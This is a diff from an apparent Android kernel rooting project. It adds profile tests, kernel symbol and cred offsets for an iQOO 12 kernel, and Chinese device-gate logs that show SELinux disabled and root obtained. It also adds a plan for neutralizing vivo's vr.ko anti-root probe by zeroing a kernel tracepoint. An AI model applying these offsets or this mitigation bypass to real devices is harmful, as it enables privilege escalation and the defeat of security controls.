a/app/src/test/kotlin/com/ghostlock/app/data/NativeProfileDocumentTest.kt +++ b/app/src/test/kotlin/com/ghostlock/app/data/NativeProfileDocumentTest.kt @@ -144,6 +144,30 @@ class NativeProfileDocumentTest { assertNull(decoded.compactWaiter) } + @Test + fun `multicast tuning keys mirror the native route section`() { + val bytes = doc( + "multicast_waiter", + mapOf( + "mcast.attempts" to 128L, + "mcast.arm_sequence" to 16L, + "mcast.arm_hold" to 20000L, + ), + ).toBinary() + val route = entriesOf(bytes, "route.multicast_waiter") + assertEquals(listOf("attempts", "arm_sequence", "arm_hold"), route.map { it.first }) + val config = NativeProfileDocument.fromBinary(bytes)!!.routeConfig as MulticastConfig + assertEquals(128u.toUByte(), config.attempts) + assertEquals(16u.toUByte(), config.armSequence) + assertEquals(20000u.toUShort(), config.armHold) + /* Absent keys keep the compiled route defaults and stay out of the bytes. */ + val bare = doc("multicast_waiter", mapOf("mcast.waiter_off" to 264L)).toBinary() + assertEquals( + listOf("waiter_off"), + entriesOf(bare, "route.multicast_waiter").map { it.first }, + ) + } + @Test fun `signed values keep their two's complement bits`() { val bytes = doc("select_stack", mapOf("pselect_waiter_shift" to -2L)).toBinary() diff --git a/app/src/test/kotlin/com/ghostlock/app/data/ProfileRoundTripTest.kt b/app/src/test/kotlin/com/ghostlock/app/data/ProfileRoundTripTest.kt index 6035ed6d0..130f1419e 100644 --- a/app/src/test/kotlin/com/ghostlock/app/data/ProfileRoundTripTest.kt +++ b/app/src/test/kotlin/com/ghostlock/app/data/ProfileRoundTripTest.kt @@ -1,5 +1,6 @@ package com.ghostlock.app.data +import com.ghostlock.app.data.route.MulticastConfig import com.ghostlock.app.data.route.RouteKind import org.junit.Assert.assertArrayEquals import org.junit.Assert.assertEquals @@ -26,6 +27,11 @@ class ProfileRoundTripTest { * route (the multicast primitive uses the same PI consumer). */ "execution.routes.select_stack.consumer_max_calls" to 1L, "execution.routes.select_stack.consumer_burst_calls" to 1L, + /* Ancillary vr.ko guard: the gate rides meta, the layout is its own + * section, and the symbol lives in offset like every other symbol. */ + "recommend_vr_guard" to 1L, + "vr_guard.tracepoint_funcs" to 0x40L, + "offset.vr_sys_exit_tp" to 0x21A1020L, ) private val tcpValues = common + mapOf( "execution.routes.tcp_zerocopy.attempts" to 10L, @@ -42,6 +48,9 @@ class ProfileRoundTripTest { "mcast.buffer_size" to 512L, "mcast.task_offset" to 0x40L, "mcast.lock_offset" to 0x50L, + "mcast.attempts" to 128L, + "mcast.arm_sequence" to 16L, + "mcast.arm_hold" to 20000L, ) private fun document( @@ -89,14 +98,37 @@ class ProfileRoundTripTest { assertEquals(true, profile.hasCompactWaiter()) assertEquals(0x4000u, profile.mmStructStride(fallback = 1u)) assertEquals(264, profile.multicastLayout().waiterOffset) - /* Consumer cadence rides its own execution section, not the multicast one. */ val decoded = NativeProfileDocument.fromBinary(bytes)!! + /* Poison/walk repetition rides the same route section. */ + val multicastConfig = decoded.routeConfig as MulticastConfig + assertEquals(128u.toUByte(), multicastConfig.attempts) + assertEquals(16u.toUByte(), multicastConfig.armSequence) + assertEquals(20000u.toUShort(), multicastConfig.armHold) + /* Consumer cadence rides its own execution section, not the multicast one. */ assertEquals(1u, decoded.execution.consumerMaxCalls) assertEquals(1u, decoded.execution.consumerBurstCalls) assertArrayEquals(bytes, profile.toBinary()) } + @Test + fun `vr guard round trip carries gate layout and symbol`() { + val bytes = document("multicast_waiter", "none", multicastValues).toBinary() + val decoded = NativeProfileDocument.fromBinary(bytes)!! + + assertEquals(1u, decoded.vrGuard) + assertEquals(0x40u, decoded.vrGuardTracepointFuncs) + assertEquals(0x21A1020uL, decoded.kernelOffset.vrSysExitTp) + /* The layout is per-image: a profile without it must decode as absent so + * the behavior stays fail-closed. */ + val withoutLayout = document( + "multicast_waiter", + "none", + common - "vr_guard.tracepoint_funcs", + ).toBinary() + assertNull(NativeProfileDocument.fromBinary(withoutLayout)!!.vrGuardTracepointFuncs) + } + @Test fun `select round trip exposes waiter shift`() { val bytes = document("select_stack", null, selectValues).toBinary() diff --git a/app/src/test/resources/remote-main-6x-offsets.json b/app/src/test/resources/remote-main-6x-offsets.json index 6594fdfe3..7dde07cd4 100644 --- a/app/src/test/resources/remote-main-6x-offsets.json +++ b/app/src/test/resources/remote-main-6x-offsets.json @@ -373,6 +373,61 @@ "task_tgid": 1588 } }, + { + "release": "6.1.145-android14-11-maybe-dirty", + "route": { + "multicast_waiter": { + "waiter_off": 96, + "buffer_size": 264, + "task_offset": 48, + "lock_offset": 56 + } + }, + "symbols": { + "off_init_cred": 35595504, + "off_init_task": 35519488, + "off_root_task_group": 37889856, + "off_security_hook_heads": 24047944, + "off_selinux_blob_sizes": 24049752, + "off_selinux_enforcing": 39161664, + "off_slide_boot_id": 39298376, + "off_slide_loggers_0_1": 35466984, + "off_slide_nfulnl_logger": 35467160 + }, + "struct_fields": { + "task_atomic_flags": 1520, + "task_comm": 2120, + "task_cred": 2104, + "task_normal_prio": 140, + "task_pi_blocked_on": 2384, + "task_pi_lock": 2340, + "task_pi_top_task": 2376, + "task_pi_waiters": 2360, + "task_pid": 1584, + "task_prio": 132, + "task_real_cred": 2096, + "task_sched_task_group": 840, + "task_seccomp": 2304, + "task_tasks": 1360, + "task_tgid": 1588 + }, + "cred": { + "copy_size": 176, + "ref_count": 4, + "ref0_image": -274708098616, + "ref0_offset": 128, + "ref1_image": -274708099280, + "ref1_offset": 136, + "ref2_image": -274708092296, + "ref2_offset": 144, + "ref3_image": -274708093720, + "ref3_offset": 152 + }, + "kernelsnitch": { + "collisions": 8, + "mm_struct_sz": 1024 + } + }, { "release": "6.1.157-android14-11-gbd23337e42e7-ab14791245", "pselect_waiter_shift": 1, diff --git a/docs/analysis/ancillary-controller-guide.md b/docs/analysis/ancillary-controller-guide.md new file mode 100644 index 000000000..d01aefa2d --- /dev/null +++ b/docs/analysis/ancillary-controller-guide.md @@ -0,0 +1,121 @@ +# Ancillary behavior guide (`AncillaryController`) + +Audience: the developer implementing the `vr.ko` behavior and their agent. + +This document describes **the architecture and how to adapt a behavior to it**. The +concrete `vr.ko` bypass logic, its parameters and their verification are **not** +described here on purpose — they are agreed in the pull-request discussion. + +--- + +## 1. What the controller is + +`AncillaryController` hosts behaviors that run **outside the vulnerability path**: +vendor anti-root mitigations, environment fixups and similar. It is deliberately +separate from the `frontend × backend × middleware` component axes: + +- those axes describe the **exploit path** (the primitive and how a kernel write is + realized); +- an ancillary behavior describes **extra steps around that path** and must not change + how the path writes. + +Project-wide constraints apply (`../../AGENTS.md`): compile-time composition, no virtual +dispatch, no mutable globals, and configuration is never inferred from the kernel +version. + +## 2. Where the pieces live + +| Path | Role | +|---|---| +| `../../src/core/session/ancillary/ancillary_policy.hpp` | `AncillaryKind`, `AncillaryStage`, `AncillaryContext`, `AncillaryPolicyDefaults`, and the `AncillaryPolicyFor` concept | +| `../../src/core/session/ancillary/ancillary_controller.hpp` | the `AncillaryPolicyList` registry and the header-only dispatcher `AncillaryController::apply` | +| `../../src/core/session/ancillary/ancillary_controller.cpp` | Android translation unit that pulls the header through the device build | +| `../../src/core/session/ancillary/vr_guard.hpp` | the `vr.ko` behavior (`VrGuardPolicy`) | +| `../../src/core/tests/ancillary_test.cpp` | host test for the registry, the profile gate and the dispatch signature | + +## 3. The behavior contract + +A behavior is a policy type satisfying `AncillaryPolicyFor`: + +- `static constexpr AncillaryKind kind` — a stable id (append one to the enum); +- `static bool enabled(const profile::TargetProfile &)` — the profile gate. Fail + closed: if the resolved profile does not enable the behavior, return `false`; +- `template static Status apply(AncillaryStage, ExploitSession &, AncillaryContext &)` — the stage entry. + +`AncillaryStage` selects **when** the behavior runs relative to the exploit steps: +`PreSpawn` (setup done, before a victim exists), `PostSpawn` (a victim exists), +`PreHandoff` (before the frontend handoff). `AncillaryContext` carries what the backend +injects: whether the kernel write primitive and the read-back primitive are available, +plus the runtime applicability decision (§5). + +## 4. Adding a behavior — the only touch points + +1. Append an id to `AncillaryKind`. +2. Create `src/core/session/ancillary/.hpp` (and `.cpp` when the body needs the + device/attack primitives): + - keep the **plan** — pure functions that turn the resolved profile layout and + already-read values into an ordered list of writes — in the header; it must be + host-compilable and unit-tested with fixed vectors; + - keep the **execution** — anything that touches the kernel — in the `.cpp`, using + the primitives injected through `AncillaryContext`. +3. Append the policy type to `AncillaryPolicyList` in `ancillary_controller.hpp`. + **This is the single registration point.** No route, frontend or backend edits. +4. Add a host test and register it in `../../src/Makefile`. +5. Add the behavior's profile contract on both sides (§6). + +The backend calls `AncillaryController::apply` at the fixed stages; that +call site is wired **once** and never changes when behaviors are added. + +## 5. Applicability is a runtime decision + +`enabled()` is only a **pre-set from the profile**. It is not proof that the behavior +is relevant on the running device: + +- the same GKI release is shipped by multiple vendors, so the kernel string / release + is **not** a device identity; +- therefore a behavior that targets a vendor component must **confirm at runtime** that + the component is actually present, and **do nothing** when it is not (fail safe); +- record that decision in `AncillaryContext` at the controller entry, not in the route. + +Do not key a behavior on `uname -r` or on the profile release. The profile gate and the +runtime applicability are two separate facts and both must hold. + +## 6. Profile contract (GLK1 v2) + +Behavior configuration travels in the resolved profile, never in environment variables +(`../../AGENTS.md`): + +- a **gate** field records whether the support list enables the behavior for this + profile; +- an optional **layout** section carries the behavior-specific parameters; +- shared kernel symbol offsets live in the existing `offset` section. + +Add the fields to the native model (`profile/model.h`, `profile/binary.cpp`) and mirror +them in `profile-core` (`NativeProfile.kt`, the resolver, the exporter and the app-side +injection); the key names must match verbatim and the golden fixtures must be +recomputed. The exact field set for `vr.ko` is defined by the PR, not by this document. + +## 7. Constraints checklist + +- [ ] No mutable global state; do not add fields to `ExploitSession` — its layout is + fixed so attack-function stack offsets do not move. +- [ ] No indirect/virtual dispatch on the attack path. +- [ ] Header-only parts compile on the host. +- [ ] New code is warning-free under `-Wall -Wextra -Wconversion -Wsign-conversion`. +- [ ] Configuration comes from the profile; no configuration-class environment + variables. + +## 8. Verification + +- `make -C src native-host-tests` +- NDK build with **zero warnings** +- `make -C src lint-tidy` +- If the behavior touches the attack path: `python3 tools/cmp_disasm.py build/native/ghostlock` + **and** the on-device gate (cold boot, fixed CPU pair, single route, KernelSU not + loaded), archived under `docs/analysis/device-gates/`. + +## 9. The `vr.ko` behavior + +`VrGuardPolicy` (id `VrGuard`) is the first registered behavior. On this branch it is a +**skeleton**: declared and registered, but gated off. Implement it by following §4–§6; +the concrete neutralization logic and its parameters are agreed in the PR review. diff --git a/docs/analysis/device-gates/ANC-01-20261002-multicast-direct-pass.md b/docs/analysis/device-gates/ANC-01-20261002-multicast-direct-pass.md new file mode 100644 index 000000000..c34a13c54 --- /dev/null +++ b/docs/analysis/device-gates/ANC-01-20261002-multicast-direct-pass.md @@ -0,0 +1,98 @@ +# ANC-01 真机门禁:vr.ko guard 与 multicast 重复投毒(multicast_waiter,direct)— PASS + +对应提交 `a329df60`(`test(app): cover the new builtin in the legacy migration fixture`,即 PR +`vr-guard-pr` 的代码 tip;其后的 `docs:` 提交不影响二进制)。候选二进制 `build/native/ghostlock` +SHA-256 `7d85c26b0ffe93b257f4e0a751f51201b1a0226557c7c40a229ff7a3b98c7abb` +(md5 `02f2be01155bcb3603c77d00a58ded1c`)。设备端 profile md5 `3dea70aa29a9abc2878f32c96e9b68eb` += 内置 `6.1.145-android14-11-maybe-dirty` 的导出文档,仅把 `execution.recommended_cpus` 改为配方 +实测的 4/5(与导出文件仅 2 字节不同,已逐字节核对)。 + +## 设备与入口 + +- 型号 V2307A / PD2307(iQOO 12,12GB);`uname -r` = `6.1.145-android14-11-maybe-dirty`; + `ro.build.version.incremental` = `compiler260820121504`。 +- 入口:CLI,`GHOSTLOCK_HOME=/data/local/tmp ./ghostlock-pr --load-prebuilt-profile pr-profile.bin`; + route = multicast_waiter(来自 profile);CPU 对 4/5(来自 profile);KernelSU 未加载的冷启动、 + 锁屏未解锁;运行起步 `boot_ms=78753`(≈79s 的低噪声窗口,见「尝试统计」)。 +- 环境注记: + - 本机 `pm list packages` 无任何 KernelSU 管理器;handoff 的 ksud 取自参考套件 + `files/ksud`(`ksud 3.3.0 (uapi: 2)`,含 android14-6.1 模块)推送至 `/data/local/tmp/ksud` + —— 与套件 README 的手动步骤同路径。 + - 本机在开机时会清空 `/data/local/tmp`,因此文件每次 boot 后重新推送。 + - `.ghostlock_iomem` 为本机 12GB 的实测存档(`ghostlock-analysis/share/ghostlock_iomem`, + release 戳一致;12 个 System RAM bank,span 42 GiB → `direct_map_end=ffffff8a7ffff000`, + 被 native 采纳)。 + +## 结果 + +PASS。完整运行(`fast_run2.stdout.log`)的关键行: + +``` +[*] cpu pair: main=4 consumer=5 +[+] startup context pid=12850 uid=2000 ... attr=u:r:shell:s0 enforce=1 (boot_ms=78753) +[*] === W1: SELinux === target=0xffffff802a558f40 mode=1 leaf=0 +[*] multicast route status=0 clean=1/1 step=0 errno=0 attempts=16 calls=1 success=1 +[+] SELinux permissive +[*] [T+11100ms] Write 1 complete +[*] vr guard: neutralizing __tracepoint_sys_exit.funcs image=ffffffc0823cb1c0 target=ffffff802a3cb1c0 width=8 +[+] vr guard: sys_exit probe disabled (attempt 1) +[*] W2b: firing prebuilt init_cred+8 repair +[*] child uid = 0 +[+] child is root! +[+] no app seccomp filter (adb/shell flow); skipping W3 +[*] [T+32375ms] exploit complete +[*] handoff: child=26080 alive=1 sent=1 errno=0 +[*] handoff: root shell worker pid=10055 +[*] enforce=1 (enforcing) +[+] KernelSU ready +``` + +设备侧根脚本日志(`/data/local/tmp/.ghostlock_ksu.log`): + +``` +[*] root script start uid=0 euid=0 +[*] iomem cache: cached 13455 bytes +[*] policy fixup rc=0 +[*] late-load kmi=android14-6.1 +[*] late-load exit=0 +[*] temp su uid=0; watching kernelsu.ko +[+] KernelSU module loaded +``` + +事后核对(设备未重启、未 panic): + +- `su -c id` → `uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0`(连续 3 次 `id -u` = 0)。 +- `su -c 'grep -i kernelsu /proc/modules'` → `kernelsu 217088 0 - Live 0x0000000000000000 (O)`。 +- `loadavg` 0.57 / 2.53 / 1.69;SELinux 回到 Enforcing(`enforce=1`)。 + +## 尝试统计 + +共 9 次完整运行,1 次通过: + +| 窗口 | 次数 | 结果 | +|---|---|---| +| uptime ≥ 240s、load < 10(配方默认窗口) | 6(4 次无 iomem 缓存、2 次有) | 6/6 在 route 阶段 panic 重启(multicast 单次未命中;stdout 缓冲截断,pstore 对 shell 不可读) | +| 开机后 ≈60–90s、锁屏未解锁(参考套件 README 的低噪声窗口) | 3 | 第 1 次在 W1b(scratch 修复)阶段 panic;第 2 次 **PASS**;第 3 次被成功判定终止,未计入 | + +- 失败均为已记录的 `KERNEL-PANIC-01` 类(同构建可 PASS/panic,环境/时序),不归因代码。 +- 观察:本机在该内核线的低噪声窗口明显优于 240s+ 窗口;单次成功率与套件文档的 25–30% 量级一致。 + +## 日志 + +- 本地留存:`gate-logs/fast_run2.stdout.log`(成功全程)、`fast_run1.stdout.log`(W1b 失败)、 + `cache_run1..2 / run1 / run_loop1..3.stdout.log`(240s 窗口的失败尝试)。 +- 设备侧:`/data/local/tmp/.ghostlock_ksu.log`(上引)、`/data/local/tmp/.ghostlock_root.sh`。 +- `--dump-kernel-log` 证据包(已拉取至 `gate-logs/glk-debug/`):`kernel-info.txt` + (uname//proc/version//proc/cmdline/selinux=Enforcing)、`kernel-dmesg.log`(shell 无 dmesg 权限)、 + `pstore/`(空)、`iomem.txt`、`ksu.log`。 + +## 变更说明 + +- 本记录验证的是 PR `vr-guard-pr` 的三项行为在最终二进制上的真机结果: + 1. `VrGuardPolicy`(`PreSpawn` 清 `__tracepoint_sys_exit.funcs`,目标 = + `KIMAGE_TEXT_BASE + 0x23cb180 + 0x40`,与 BTF 推导的布局一致); + 2. multicast 重复投毒/重复 walk(每次写验证 `status=0 … attempts=16 calls=1 success=1`); + 3. 内置 `6.1.145-android14-11-maybe-dirty` profile(偏移、cred、geometry、调参)端到端可用。 +- 与上一次门禁(2026-09-30,旧二进制、管理器在场)的差异:本次最终二进制 + 无管理器环境 + (ksud 走套件路径);结论一致:`vr guard: sys_exit probe disabled` → `child is root!` → + `KernelSU ready`,设备稳定。 diff --git a/docs/analysis/device-gates/ANC-02-20261002-multicast-postreview-pass.md b/docs/analysis/device-gates/ANC-02-20261002-multicast-postreview-pass.md new file mode 100644 index 000000000..0a6152303 --- /dev/null +++ b/docs/analysis/device-gates/ANC-02-20261002-multicast-postreview-pass.md @@ -0,0 +1,59 @@ +# ANC-02 真机门禁:review 修正后的 multicast_waiter(direct)— PASS + +对应提交 `ff2bd110`(`test(extract): cover the missing vr layout in the required-field check`,评审 +修正批次 tip;攻击路径修正为 `e493f110`)。候选二进制 `build/native/ghostlock` +SHA-256 `9cfd7c83a3779589a8cb235e681173c50e07b04443a3b6def955a7796401052c` +(md5 `162579ac9bfbe2cc4d386f7c8f76de2b`)。设备端 profile md5 +`3dea70aa29a9abc2878f32c96e9b68eb`(内置 `6.1.145-android14-11-maybe-dirty` 的导出文档, +`recommended_cpus` 为实测的 4/5)。 + +## 设备与入口 + +- 型号 V2307A / PD2307(iQOO 12,12GB);`uname -r` = `6.1.145-android14-11-maybe-dirty`。 +- 入口:CLI,`GHOSTLOCK_HOME=/data/local/tmp ./ghostlock-pr --load-prebuilt-profile pr-profile.bin + --dump-kernel-log /data/local/tmp/glk-debug`;KernelSU 未加载的冷启动、锁屏未解锁、 + 单 route(multicast_waiter)、CPU 对 4/5(来自 profile);运行起步 `boot_ms=78865`(≈79s)。 +- 设备端二进制 md5 与本地一致(`162579ac…`,见 `push_hashes.txt`)。 + +## 结果 + +第 1 次尝试即 PASS(`gate-logs/gate2/pass.stdout.log`): + +``` +[*] cpu pair: main=4 consumer=5 +[+] startup context pid=13043 uid=2000 ... attr=u:r:shell:s0 enforce=1 (boot_ms=78865) +[*] multicast route status=0 clean=1/1 step=0 sockopt=-1 errno=0 attempts=16 calls=1 success=1 +[+] SELinux permissive +[+] vr guard: sys_exit probe disabled (attempt 1) +[+] child is root! +[*] [T+32853ms] exploit complete +[*] enforce=1 (enforcing) +[+] KernelSU ready +``` + +事后核对(设备未 panic):`su -c id` → `uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0` +(连续 3 次 `id -u` = 0);`kernelsu 217088 1 - Live`;SELinux 回到 Enforcing;管理器 +`me.weishu.kernelsu` 在位。 + +### 本记录针对的评审修正 + +- `e493f110`:`ROUTE_OK` 只由 consumer 的验证写入决定。新增的日志字段在本次运行为 + `sockopt=-1`(`setsockopt` 返回 `-EADDRNOTAVAIL`,即"拷贝已落位"的那条路径)而 `success=1` + —— 修复后 `status=0` 单独由 consumer 的验证信号支撑,不再依赖 syscall 返码。 +- 其余四项(提取器可选性与宽度、共享校验、CPU 配对来源、非 conf 格式)不改变本机攻击行为, + 由单元/构建/静态检查覆盖(见计划文档的 review 修正表)。 + +## 日志 + +- `gate-logs/gate2/`:`pass.stdout.log`(成功全程)、`attempt1.stdout.log`(同一次)、 + `post_state.txt`(su / 模块 / enforce / 管理器 / ksud 日志)、`push_hashes.txt`、 + `glk-debug/`(`--dump-kernel-log` 证据包)。 +- 设备侧:`/data/local/tmp/.ghostlock_ksu.log`(`late-load kmi=android14-6.1`、`late-load exit=0`、 + `[+] KernelSU module loaded`)。 + +## 变更说明 + +- 验证对象:评审修正后的最终二进制。路由判据改为"仅 consumer 的验证写入",日志保留 + `sockopt=` 供对照;运行结果与 ANC-01 一致(`child is root!` → `KernelSU ready`), + 设备稳定。 +- 与 ANC-01 的差异:候选二进制含 5 项 review 修正;设备、入口与条件相同。 diff --git a/docs/analysis/fallback-route-wire-plan.md b/docs/analysis/fallback-route-wire-plan.md new file mode 100644 index 000000000..2d8c3328f --- /dev/null +++ b/docs/analysis/fallback-route-wire-plan.md @@ -0,0 +1,129 @@ +# fallback route 专属参数进入 GLK1 计划(2026-09-27) + +> L 级改动:wire v2 profile 契约 + 跨 Native↔Kotlin。按 `engineering-standards.md` §1.2, +> 本文先于代码;获认可后再实施。模板见 `documentation-standards.md`。 + +## 现状与基线 + +- fallback 派发已是 native 通用逻辑(`src/core/route/route_policy.hpp:237-249`):主 route + 以 `ROUTE_FALLBACK_SAFE` 干净失败且 profile 声明了 fallback 时,按 + `profile.fallback_route()` 调 `run_policy_by_kind`。fallback 的 select 分支在 + `src/core/route/select_stack_route.cpp:507` 读 `profile.select_stack_layout()`,即 + `geometry.pselect_waiter_shift`(`src/core/profile/model.h:118-124`)。 +- wire v2 只承载单一 route 段: + - native `parse_v2` 只接受 `route_section_name(out->route)` 的段 + (`src/core/profile/binary.cpp:297-307`); + - native `serialize` 只写 active route 段(`src/core/profile/binary.cpp:347-352`); + - Kotlin 解码只应用 active route 段(`NativeProfile.kt:325-329`),构建只构造 active + route 的 config(`NativeProfile.kt:348`)。 +- profile 声明层已经支持 fallback: + - `ProfileResolver.nativeValue` 会把 branch/mcast 字段回退到 + `fallback.route..`(`profile-core/.../ProfileResolver.kt:49-71`); + - TB375FC `6.1.138-android14-11-g151cf2b6bfbe-ab13719792.conf:13-20` 声明 + `fallback.to = select_stack` 与 `fallback.route.select_stack.waiter_shift = 1`。 +- 缺口:主 route 为 `tcp_zerocopy`、fallback 为 `select_stack` 的 profile,GLK1 里没有 + 任何段承载 fallback 的 `waiter_shift`,native fallback select 拿到空 + `pselect_waiter_shift`。这是本次要关闭的合并阻塞。 + +## 目标与约束 + +目标: + +1. wire v2 同时携带 active route 段与 fallback route 段;native 解析时两段都应用到同一个 + `kernel_offsets`(`geometry` / `execution`)。 +2. Kotlin 编码与解码同步处理两段,`ProfileExporter` 无需额外分支。 +3. TB375FC 这类 profile 的 fallback 专属参数真正到达 native。 + +非目标(明确不做): + +- 不新增或叠加 wire 版本号,仍在 v2 内扩展 section 语义。 +- 不改 route 段字段表、`kRouteCatalog` 与 route 私有参数键名。 +- 不改攻击阶段、waiter/PI 生命周期、任何攻击写入顺序。 +- 不支持多于一个 fallback(`route_policy.hpp` 只取单个)。 + +约束与不变量: + +- 主 route 与 fallback route 必须不同;相同由 `route_policy.hpp:241` 忽略,wire 也不写重复段。 +- 同名字段(`compact_waiter`)两段都映射同一 native 成员;两段一致由 profile 保证, + 解析顺序后者胜出,可接受。 +- 缺失 fallback 段等价于"fallback 专属参数未提供",不是错误。 + +## 改动清单(逐文件) + +### Native + +| 文件 | 改动 | 理由 | +|---|---|---| +| `src/core/profile/binary.cpp` | `parse_v2` 改为两遍:先解析并应用非 route 段(含 `meta.fallback_route`),缓存 route 段入口;再应用名字等于 active 或 fallback route 的段。`serialize` 的段过滤改为"active 或 `meta.fallback_route`",两者不同才写 fallback 段 | 承载并落盘 fallback geometry,其余 route 段仍旧忽略 | +| `src/core/tests/profile_binary_test.cpp` | 新增 active=tcp + `fallback_route=select` 的文档设置 `pselect_waiter_shift` 断言;把现有"another section is ignored"改为"既非 active 也非 fallback 的段被忽略";round-trip 覆盖两段 | wire 固定向量 | + +### Kotlin / profile-core + +| 文件 | 改动 | 理由 | +|---|---|---| +| `profile-core/.../data/NativeProfile.kt` | `NativeProfileDocument` 加 `fallbackConfig: RouteConfig`(默认 `NoRouteConfig`);`from()` 用 `RouteKind.fromToken(fallbackTo)?.buildConfig(value)` 构建;`toBinary()` 在 active 段后写 fallback 段(非空且与 active 不同);`fromBinary()` 先把 `route.*` 段缓存,再按 header route 与 `meta.fallback_route` 应用 | 双侧字段表/段语义一致 | +| `app/.../data/Profile.kt` | `pselectWaiterShift`、`multicast` 等按 active 优先、fallback 兜底取 config | UI/校验看到 fallback 参数 | +| `profile-core/.../profile/ProfileResolver.kt` | 无需改:`nativeValue` 已读 `fallback.route.*` | 复用现有解析 | +| Kotlin 测试 | `NativeProfileDocumentTest` 加双段 round-trip;`ProfileResolverTest`/`ProfileExporterTest` 覆盖 TB375FC fallback 值 | 防回归 | + +## 数据流/控制流差异 + +```mermaid +flowchart LR + subgraph HOCON["profile HOCON"] + R["route.tcp_zerocopy.compact_waiter"] + F["fallback.route.select_stack.waiter_shift"] + end + subgraph KT["Kotlin NativeProfileDocument"] + AR["activeConfig"] + FR["fallbackConfig (new)"] + end + subgraph WIRE["GLK1 v2"] + S1["section route.tcp_zerocopy"] + S2["section route.select_stack (new)"] + end + subgraph NAT["native kernel_offsets"] + G["geometry.pselect_waiter_shift"] + end + R --> AR --> S1 + F --> FR --> S2 + S1 --> NAT + S2 --> G +``` + +控制流不变量: + +- `run_route` 的选择与 fallback 顺序不变(仍是 clean 失败才 fallback)。 +- native 对"既非 active 也非 fallback"的 route 段仍完全忽略,不静默合并。 + +## 兼容性与回滚 + +- 旧文档(仅 active 段):fallback 段缺失 → 行为与今天相同(fallback 无 geometry),不崩。 +- 新文档 + 旧 native:旧 native 只认 active 段 → fallback 参数丢失,但不崩溃。本分支 + Kotlin 与 native 同版本发布,不做旧 native 兼容。 +- 回滚:还原两侧 commit 即可;wire 无新版本号,无数据迁移。 + +## 验证矩阵 + +| 批次 | 命令 | 预期 | +|---|---|---| +| 1 Native | `make -C src native-host-tests` | 新增双段固定向量通过 | +| 2 Kotlin | `./gradlew :app:testDebugUnitTest` | 双段 round-trip、TB375FC fallback 值通过 | +| 3 导出 | `./gradlew exportKernelProfiles` | TB375FC `.bin` 含 `route.select_stack` | +| 4 构建 | `./gradlew :app:assembleDebug` + `make -C src ghostlock` | 零警告 | +| 5 真机 | 冷机 TB375FC route tcp→fallback select 门禁 | route 命中、fallback_used、写验证通过(若设备可用) | + +## 明确保留 + +- `src/core/kernelsnitch/**`、`LegacyProfileConverter.kt` 的 v1 转换。 +- route 段字段表、`kRouteCatalog`、`.conf` 中的键名与顺序。 +- 攻击阶段与资源回收顺序(本计划不触攻击关键路径代码)。 + +## 进度 + +- [ ] Native parse/serialize 两段 +- [ ] native `profile_binary_test` 更新 +- [ ] Kotlin 编解码两段 +- [ ] Kotlin 测试 +- [ ] 导出验证 +- [ ] 真机门禁(若设备可用) diff --git a/docs/analysis/vr-guard-plan.md b/docs/analysis/vr-guard-plan.md new file mode 100644 index 000000000..68cf5ec8b --- /dev/null +++ b/docs/analysis/vr-guard-plan.md @@ -0,0 +1,257 @@ +# vr.ko guard(vivo/iQOO 探针中和)批次计划(2026-09-29 起,2026-10-02 更新) + +对应分支 `vr-guard-pr`(基 `deff0b1b`,目标分支 `vr-ko-bypass-dev`)。 +PR 正文见 `docs/pr-note-vr-guard-pr.md`。 + +## 现状与基线 + +- 基线 `deff0b1b`(`Merge branch 'ancillary-architecture' into vr-ko-bypass-dev`): + 该分支上 `VrGuardPolicy` 只有骨架(`enabled()` 恒 `false`), + 行为契约、执行时机与 profile 契约由 `docs/analysis/ancillary-controller-guide.md` §4–§6 规定。 +- 目标问题(上游 #154 / #201 / #61):临时 root 成功后,vivo 的 `vr.ko` 在 + `__tracepoint_sys_exit` 上的探针按 tag 杀掉 uid 0 的进程及其派生 shell + (ksud、管理器、子 shell 连锁死亡;应用黑屏 / 管理器白屏 / 系统不稳定直到重启)。 + 基线已有的逐任务清 tag 只覆盖 exploit 子进程,**覆盖不到 root 之后的 ksud 与 shell**。 +- 触发设备:vivo iQOO 12(V2307A / PD2307, SM8650), + 内核 `6.1.145-android14-11-maybe-dirty`,Android 16 / OriginOS 6, + 构建 `PD2307_A_16.2.20.3.W10`。 + +## 目标与约束 + +目标: + +1. 按 guide §4–§6 实现 `VrGuardPolicy`:中和 `__tracepoint_sys_exit.funcs` + (清空后 tracepoint 迭代器跳过全部探针;打标探针仍跑,但无人响应)。 +2. profile 契约(gate + 符号 + 布局)native ↔ `profile-core` 双侧镜像; + 布局来自镜像自身 BTF,**不按 `uname -r`/release 推断**(guide §5)。 +3. 提取器输出该字段;新增内置 iQOO 12 profile 并登记 `index.conf`。 +4. 让该内核能真正完成一轮运行(multicast 重复投毒),否则行为无法真机验证。 + +非目标: + +- 不改 wire 版本;不改既有 profile 字节(gate 与符号仅在非零时写出)。 +- 不做按内核版本硬编码的布局表(由 BTF 推导覆盖 6.1/6.6 差异)。 +- 不新增 `ExploitSession` 字段、不在攻击路径引入间接分派(guide §7)。 + +约束: + +- 属攻击关键路径改动:`cmp_disasm` 8 函数 + 真机门禁 + 归档(§8.2/§8.3)。 +- 攻击函数的结构体偏移与指令形状必须不动:新增字段只能落在既有 padding 内。 + +## 改动清单(逐文件) + +| 类别 | 文件 | 改动 | +|---|---|---| +| 行为(纯函数) | `src/core/session/ancillary/vr_guard.hpp` | `plan_vr_guard()`:profile → `{image_offset, width_bytes}`;缺符号或布局任一事实返回 `nullopt`(fail-closed)。`VrGuardPolicy::enabled()` 只做 profile gate | +| 行为(设备) | `src/core/session/ancillary/vr_guard.cpp`(新增) | 运行时 `/proc/modules` 确认 vr.ko 存在(guide §5;不可读=不存在,fail safe);5 次尝试写 `sys_exit tp->funcs`;失败不致命,仅告警 | +| 能力注入 | `src/core/session/ancillary/ancillary_policy.hpp` | `AncillaryZeroFn write_zero`(plain 函数指针,无虚分派);适配器**绑定 session 全局**,不引入参数派生的调用点 | +| 后端 | `src/core/session/backend/cve_2026_43499_backend.{hpp,cpp}` | `zero_word()` 适配器;`w1()` 末尾固定 `PreSpawn` 调用点(加行为只动注册表,不动此块) | +| profile 模型 | `src/core/profile/model.h` | `misc.vr_guard`(gate)、`misc.vr_sys_exit_tp`、`misc.vr_tracepoint_funcs`;`McastTuning` + `mcast_tuning()`。**新字段全部落在既有 padding 内** | +| wire | `src/core/profile/binary.cpp` | vr.ko 三键与 multicast `attempts/arm_sequence/arm_hold` 映射到上述字段(wire 键名不变) | +| 读取点 | `src/core/attack/ops.cpp`、`src/core/route/multicast_waiter_route.cpp` | 